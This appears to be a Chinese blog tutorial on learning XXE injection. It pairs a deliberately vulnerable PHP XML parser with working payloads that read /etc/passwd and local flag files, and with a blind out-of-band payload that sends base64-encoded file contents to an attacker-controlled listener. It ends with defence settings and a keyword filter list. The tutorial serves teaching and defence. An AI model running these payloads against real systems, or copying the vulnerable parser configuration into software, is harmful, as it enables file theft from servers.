从零开始的xxe学习

本文介绍了一个菜鸡对xxe的一步步学习(内容多来源于大佬的博客,先感谢一波)

涉及知识点:

(1)xxe

目录:

解析:

1.xxe是什么(不详解了,网上很多的)

XXE(XML External Entity Injection) 全称为 XML 外部实体注入。(重点在外部实体

2.xml基础知识

示例代码:test.dtd

<?xml version="1.0"?> // xml 文档定义
<!DOCTYPE message [
<!ELEMENT message (receiver, sender, header, msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>]>

上面的 DTD 定义了 XML 的根元素是 message ,根元素下面的都是子元素。那么配合 test.dtd 的示例 xml 代码是:

<message>
<receiver>QAQ</receiver>
<sender>QWQ</sender>
</message>

其实除了在 DTD 中定义标签之外还可以定义实体(对应 xml 标签的内容)。实体分为内部实体和外部实体。下面的一个实例是内部实体。

示例代码:test.dtd

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test">]>

定义 foo 元素为 ANY 说明接受任何元素,但是定义了一个 xml 的实体xxe(实体可以看成一个变量,在 xml 中我们可以通过 & 符号来引用,即用 &xxe 来引用)。

上面的实体 xxe 类似于 py 中的 xxe="test" 。 (只是类似,千万别以为是一样的)

应用实例:

<root>
<pass>&xxe;</pass>
</root>

输出的结果当然就是 test 啦!

接下来是外部实体啦(实体可以从外部的 dtd 文件中引用)。

示例代码:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///c:test.dtd">]>
<root>
<pass>&xxe;</pass>
</root>

这样引用资源的任何更改都会自动更新,从而有了之后的漏洞。

哦,还有一种引用方法是使用 引用 公用DTD 的方法。(。。别骂了,真不熟QAQ)

<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URL”>

这个在我们的攻击中可以起到和 SYSTEM 一样的作用??(我人傻了,没有实战经验好吧。留坑。等下,这是什么?)

一只咸鱼放弃了思考 n(*≧▽≦*)n 。

但是参数实体在我们的 Blind XXE 中起到了至关重要的作用。(?必须要学?)

哈哈哈,我不做人了((?(//?Д/?/)?))!

(1)通用实体

用 &实体名; 引用的实体。在 DTD 文档中定义,在 XML 文档中引用。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "file:///etc/passwd">]>
<root>&file;</root>

(2)参数实体

  • 使用 % 实体名 (注意这里的空格不能少)在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用。
  • 只有在 DTD 文件中,参数实体的声明才能引用其他实体。
  • 和通用实体一样,参数实体也可以外部引用

示例代码:

<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;

3.Normal XXE (有回显的读取本地敏感文件)

受攻击的服务器的代码示例:xml.php(这里用本地作为服务器)

<?php

    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents(‘php://input‘);
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    echo $creds;

?>

攻击方代码示例:

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
<root>&xxe;</root>

攻击结果:

但是成功读取是因为这个文件没有特殊符号。但是如果有特殊符号的话,就完全读取不到了。那么这时候就要祭出我们的 CDATA :

那么把我们读出来的数据放在 CDATA 中就可以绕过。那么怎么添加呢?只要像这样:

......
<!ENTITY start "<![CDATA[">
<!ENTITY xxe SYSTEM "file:///etc/passwd">
<!ENTITY end "]]>">]>
<root>&start;&xxe;&end;</root>

那么这么做可以吗(?´ω`?)?肯定不行啊,我们可没有说 xml 还支持字符串拼接这种东西。结果可以自己试试,反正是不行的哦。

但是这并不代表我们没办法了。可以利用目前比较常见的方法。

evil.dtd:

<?xml version="1.0" encoding="utf-8"?>
<!ENTITY all "%start;%xxe;%end;">

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ENTITY % start "<![CDATA[">
<!ENTITY % xxe SYSTEM "file:///C:/Users/Acer/Desktop/flag.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd;]>

<root>&all;</root>

//上面的ip要换成你的ip哦

结果:

上面的例子是利用了外部实体进行拼接?(应该)。在内部实体中进行调用结果而已。

有一个点:大佬说在 java 的 xxe 中 netdoc 协议是可以代替 file 协议的。

然后引出下一个问题,xxe并不是都有回显的,那么无回显的 xxe 怎么办呢?

4.Blind OOB XXE(无回显读取本地敏感文件)

盲 xxe 的xml.php

<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents(‘php://input‘);
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>

test.dtd文件:

<!ENTITY % start "<!ENTITY % send SYSTEM ‘http://127.0.0.1:3333/?%file;‘>">
%start;

payload:

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ENTITY % remote SYSTEM "http://127.0.0.1/test.dtd">
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///G:/1.txt">
    %remote;
    %send;
]>
<message>aaa</message>

攻击截图:

接下来讲几个注意点:

  1. test.dtd 文件中的 &#x25 是不可以被 % 代替的,可以自己本地测试一下。在实体中不可以出现 % 的。
  2. 这个盲xxe可以用php://filter协议是因为有 file_get_contents 函数(应该没有人不熟悉 php://filter 吧。)
  3. 还是那一句,127.0.0.1 可以换成你的文件的 ip

然后讲一下调用过程:

%remote;%start;%send;就是我们的调用过程。肯定是先包含 test.dtd 啊。然后是 %start; 开始调用 %file; 来获取我们想要的文件的内容。最后 %send 将结果发送到我们的vps上。

从而实现了文件内容的回显。

如何防御 xxe 攻击

方法一:  使用不同语言提供的不同的禁用外部实体方法(我觉得在 awd 中最好用这种方法吧)

PHP:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方法二:  过滤用户提交的 xml 数据

过滤关键词 : <!DOCTYPE , <!ENTITY , SYSTEM , PUBLIC

参考

K0rz3n大佬的教程

JrXnm233大佬的教程

原文地址:https://www.cnblogs.com/cioi/p/12313621.html

时间: 2024-10-15 00:39:26

从零开始的xxe学习的相关文章

从零开始--系统深入学习android(实践-让我们开始写代码-Android框架学习-7.通知)

通知 一个通知是一条消息他是显示于你应用程序之外的一个界面中.当你告诉系统要发布一个通知时,它首先作为一个icon出现在通知区域.为了看见通知的细节,用户可以点击通知区域展开一个新的界面.下面让我们来看一下图7-1和图7-2: 图7-1 通知出现在通知区域 图7-2 通知展开后的效果(drawer) 注意:除非特别注明外,本章指的都是NotificationCompat.Builder,它在v4 Support Library中有,正式添加于API Level 15.但有了v4 Support

从零开始2016----大数据学习

工作这么多年了,从零开始学习  大数据,现在把提纲保存一下. 一.Hadoop入门,了解什么是Hadoop1.Hadoop产生背景2.Hadoop在大数据.云计算中的位置和关系3.国内外Hadoop应用案例介绍4.国内Hadoop的就业情况分析及课程大纲介绍5.分布式系统概述6.Hadoop生态圈以及各组成部分的简介7.Hadoop核心MapReduce例子说明二.分布式文件系统HDFS,是数据库管理员的基础课程1.分布式文件系统HDFS简介2.HDFS的系统组成介绍3.HDFS的组成部分详解4

从零开始基础PHP学习 - 第一天

写这个系列文章主要是为了督促自己  每天定时 定量消化一些知识! 同时也为了让需要的人 学到点啥~! 本人技术实在不高!本文中可能会有错误!希望大家发现后能提醒一下我和大家! 偷偷说下 本教程最后的目标是实现一个PHP的框架(虽然对我来说也许很遥远!~) 内容主要参考了: 慕课网 -大话PHP设计模式  网址:http://www.imooc.com/learn/236 一.PHP 的编辑器 (IDE) 选择 PHP现在主流的编辑器就这几种 我也尝试过很多个 但是没有长时间进行使用 一些评论可能

大数据怎么学习?从零开始大数据学习路线

大数据.人工智能的崛起,都让很多人看到了信息技术的日新月异,也推动了更多传统型企业逐渐往互联网企业转型.如何更好的去分析客户群体,去抓住自己的客户所需,是离不开大数据的帮助的!为此,也有越来越多的企业看到大数据程序员岗位的重要性,不断的招兵买马,以求让自己的企业能够在这信息时代的竞争中立于不败之地!创一个小群,供大家学习交流聊天如果有对学大数据方面有什么疑惑问题的,或者有什么想说的想聊的大家可以一起交流学习一起进步呀.也希望大家对学大数据能够持之以恒大数据爱好群,如果你想要学好大数据最好加入一个

从零开始的Python学习Episode 5——字典

字典 字典是另一种可变容器模型,且可存储任意类型对象. 一.添加 (1)直接添加 dict={'name':'smilepup'} dict['age']=20 dict['name']='piggy' print(dict) #输出{'name': 'piggy', 'age': 20} 若输入的键存在,就把键对应的值更新为新的值. 若输入的键不存在,就把输入的键值对添加进字典. (2)setdefault()方法 dict={'name':'smilepup'} a = dict.setde

从零开始的Python学习Episode 7——文件基本操作

文件基本操作 一.打开文件 f = open('11','r')#open('file path','mode') 创建一个文件对象 文件有多种打开模式: 1. 'r':新建一个文件对象以只读方式打开文件.读文件的指针将会放在文件的开头. f = open('11','r')#open('file path',mode') data = f.read() print(data)f.close() #输出123456789 2.'w':新建一个只用于写文件的文件对象 f = open('11','

从零开始的Linux学习Ⅰ

计算机的组成及其功能 在冯诺依曼体系中,计算机的组成部分有 控制器:负责指挥.协调计算机系统的操作运算器:执行算术和逻辑运算操作存储器:存储数据.指令和程序等信息,并在需要时提供输入:将数据.指令等信息输入到计算机输出: 将计算机的中间结果.最终结果及各种控制信号输出出来 常见的Linux发行版 基于Debian的发行版: 软件数量丰富,包管理工具强大,系统稳定 Ubuntu:以桌面应用闻名 Knoppix:以安全软件著称 基于RedHat的发行版: RedHat Enterprise Linu

从零开始的Python学习Episode 10——函数

函数 一.函数的创建 简单格式 def function_name(参数表): 函数体 return 如果没有写return,函数会默认返回一个none 二.函数的参数 必需参数: 调用函数时必需参数须以正确的顺序传入,调用的数量必须和声明时的一样. def func1(name,age): print('my name is %s,i am %d years old'%(name,age)) func1('smilepup',20) #输出my name is smilepup,i am 20

从零开始的Linux学习Ⅱ

Linux上的文件管理类命令 常用的文件管理工具有:cp , mv , rm cp命令--copy:NAMEcp - copy files and directories复制 文件 和 目录SYNOPSIS单源复制 cp [OPTION]... [-T] SOURCE DEST多源复制 cp [OPTION]... SOURCE... DIRECTORYcp [OPTION]... -t DIRECTORY SOURCE...常用OPTION:-i:交互式复制,即覆盖之前提醒用户确认:-f:强制